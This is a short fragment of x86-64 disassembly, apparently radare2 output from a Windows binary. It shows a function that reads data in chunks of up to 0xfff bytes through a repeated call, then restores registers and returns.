mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000d16d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14011a5b4
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000d18c
cmp rbp, rax
ja 0x14000d140
test rbp, rbp
je 0x14000d18c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14011a5b4
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret